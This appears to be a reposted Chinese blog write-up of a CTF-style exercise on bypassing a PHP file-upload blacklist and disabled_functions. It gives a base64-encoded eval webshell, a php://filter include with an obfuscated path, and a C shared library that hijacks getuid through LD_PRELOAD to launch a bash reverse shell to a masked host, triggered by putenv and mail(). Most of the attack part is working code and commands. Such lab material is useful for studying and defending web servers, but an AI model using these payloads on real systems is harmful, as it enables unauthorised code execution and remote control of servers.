PHP之Base64+php://filter绕过、disabled_function绕过

这篇具有很好参考价值的文章主要介绍了PHP之Base64+php://filter绕过、disabled_function绕过。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、Base64+php://filter绕过

1.思路分析 

2.实践验证

二、disabled_function绕过

一、Base64+php://filter绕过

上课讲了这样一道题,一起来看下(以下代码适用于PHP7.x及以上,5的版本会报错)

<?php
function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
 
    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }
 
    
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
 
$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;
 
 
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

前端就是一个上传标签,没啥可看的

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传</title>
</head>
<body>
    <h2>上传文件</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upload_file" id="upload_file">
        <input type="submit" value="上传文件" name="submit">
    </form>
</body>
</html>

1.思路分析 

题目要求只能上传php文件,上传普通的一句话肯定不行,直接被过滤掉

普通Webshell不行,那上无字母呢? 很明显也不行,过滤了$_ , ~ , ^等符号

最终发现它没有过滤Base64编码和php://filter,include也可以试试用大写能不能绕过

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行

思路:

首先可以上传一个经过Base64编码后的一句话,这样就不会被过滤了

之后再上传一个文件包含的php代码,include函数里面指定php://filter文件流,把我们上传的一句话当做php代码执行

最后蚁剑连接getshell

2.实践验证

  • 那么我们首先呢上传一个经过Base64编码后的一句话绕过过滤
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
  • 然后先写好php://filter,resource后面接我们上传的一句话,因为被Base64编码了,所以要先进行解码
php://filter/convert.base64-decode/resource=93bc3c03503d8768cf7cc1e39ce16fcb.php
  • 之后加上Include就大功告成了
<?php
Include("php://filter/convert.base64-decode/resource=93bc3c03503d8768cf7cc1e39ce16fcb.php");
?>

直接上传,但是被过滤了,仔细看看发现是"-"被过滤掉了,也可能是Include大写绕不过去

PHP之Base64+php://filter绕过、disabled_function绕过,php,安全

那只有找别的办法,Include先不管,"-"怎么解决?

这时候还是可以用Base64来绕过,php://filter里有这个符号,那我们就直接编码,这样就绕过了

编码后那就需要解码,加上base64_decode就行

那这样新的代码就出来了

<?php
Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT05M2JjM2MwMzUwM2Q4NzY4Y2Y3Y2MxZTM5Y2UxNmZjYi5waHA="));
?>

上传成功,先传个phpinfo试试

PHP之Base64+php://filter绕过、disabled_function绕过,php,安全

 成功执行,那就上蚁剑,直接getshell

PHP之Base64+php://filter绕过、disabled_function绕过,php,安全

连接成功后,原题本来是有disabled_function过滤的,这里由于是自己搭的环境,没办法

所以用现成的docker又搭了一个,来模拟我们getshell后遇到disabled_function过滤

二、disabled_function绕过

getshell后进入命令行

可以看到我们执行任何命令都返回ret=127,可以确定有disabled_function过滤

PHP之Base64+php://filter绕过、disabled_function绕过,php,安全

那怎么绕过呢?

这里就可以利用LD_PRELOAD这个环境变量,具体可以看我的上一篇博文

Nginx负载均衡下的webshell连接与过滤绕过以及LD_PROLOAD利用_Catherines7的博客-CSDN博客

这里其实可以用蚁剑的插件直接绕过

但这次我们自己来写动态链接库绕过

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xxx/2333 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

劫持getuid这个函数,来执行我们的反弹shell命令

同样,gcc编译

gcc -shared -fPIC hook_getuid.c -o hook_getuid.so

编译后上传到服务器的/var/www/html目录下

再上传一个php文件

<?php
putenv("LD_PRELOAD=/var/www/html/hook_getuid.so");
mail("","","","","");
?>

然后到浏览器去执行这个php文件

但是因为我这里是docker环境,弹shell弹不出来

但是又没有disabled_function过滤的这样一个环境,所以就没有进一步深究了文章来源地址https://www.toymoban.com/news/detail-655922.html

到了这里,关于PHP之Base64+php://filter绕过、disabled_function绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • fileclude(文件包含漏洞及php://input、php://filter的使用)

    先介绍一些知识 1、文件包含漏洞 和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。 什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此

    2024年02月13日
    浏览(47)
  • PHP(1) Error: php@7.4 has been disabled because it is a versioned formula

    方法很简单,不用加入新的库。直需要修改一个对应文件! sudo vim /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core/Formula/php@7.4.rb  找到disabel这一行,然后注释掉(就是在前面加个#); 然后执行安装命令即可! brew install php@7.4 其他同类型的,一样可以用这个方法!!!

    2024年02月12日
    浏览(48)
  • php弱类型相等漏洞绕过

    长度一致性 :任意长度的数据,计算出来的哈希值长度都是固定的128位。 不对称性: 从原数据计算哈希值十分容易,但是知道哈希值去碰撞原数据十分困难。 PHP中有两个相等操作符“==”和“===”。$a == $b,如果类型转换后$a和$b相等,则输出true。$a === $b,如果$a和$b相等,

    2023年04月26日
    浏览(58)
  • 无涯教程-PHP - Filtered反序列化

    PHP 7引入了Filtered unserialize() 函数,以在对不受信任的数据上的对象进行反序列化时提供更好的安全性。 它产生以下浏览器输出- PHP - Filtered反序列化 - 无涯教程网 无涯教程网提供PHP 7引入了Filtered unserialize() 函数,以在对不受信任的数据上的对象进行反序列化... https://www.lea

    2024年02月10日
    浏览(45)
  • php中的array_filter()函数

    php中的array_filter()函数用于筛选数组中的元素,并返回一个新的数组,新数组的元素是所有返回值为true的原数组元素。 array_filter()函数的使用语法如下: 其中,参数说明如下: $array :必选参数,表示要筛选的原数组。 $callback :可选参数,表示筛选的回调函数,可以是内置

    2024年02月13日
    浏览(39)
  • PHP CTF常见考题的绕过技巧

    目录 1.==绕过 2.===绕过 3.intval()函数 4.strpos()函数  5.in_array()函数  6.preg_match()函数  7.str_replace函数 1.==绕过 PHP比较运算符 ==在进行比较的时候是弱类型比较,只需要比较两个值相等就行,不会比较类型 绕过方法如:1=1.0,1=+1、 $a=1; if($a==$_GET[\\\'x\\\']){     echo $flag; } //使用1.0就可以

    2024年02月07日
    浏览(54)
  • PHP反序列化漏洞-魔术方法绕过

    一、__wakeup()魔法函数绕过: 在PHP中,__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。 当反序列化字符串中的对象属性个数大于实际属性个数时 ,可以利用这个漏洞进行绕过。 触发条件: PHP版本为5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的对

    2024年01月18日
    浏览(54)
  • php://filter协议在任意文件读取漏洞(附例题)

    php://fiter 中文叫 元器封装,咱也不知道为什么这么翻译,目前我的理解是可以通过这个玩意对上面提到的 php IO流进行处理, 及现在可以对php的 IO流进行一定操作。 过滤器:及通过php://filter 对php 的IO流进行的具体操作               格式为:php://filter / [read|write =] 过滤器

    2024年02月09日
    浏览(38)
  • CTF笔记:PHP函数is_numeric()绕过

    在做CTF过程中遇到的is_numeric()函数,作用是判断输入是不是数字或数字字符串。 思路1:数值-非数值 原题是[极客大挑战 2019]BuyFlag,判断代码如下: 密码是404,但是不能输入数字,所以要考虑绕过的问题,这里记录解题思路。 上网搜了一下,可以借助url编码中的空字符,例

    2024年02月08日
    浏览(38)
  • PHP利用PCRE回溯次数限制绕过某些安全限制实战案例

    目录 一、正则表达式概述 有限状态自动机 匹配输入的过程分别是: DFA(确定性有限状态自动机) NFA(非确定性有限状态自动机) 二、回溯的过程 三、 PHP 的 pcre.backtrack_limit 限制利用 例题一 回溯绕过步骤 : 1、运行结果: 可见无法匹配 2、尝试匹配:依旧无法匹配 3、再

    2024年02月13日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包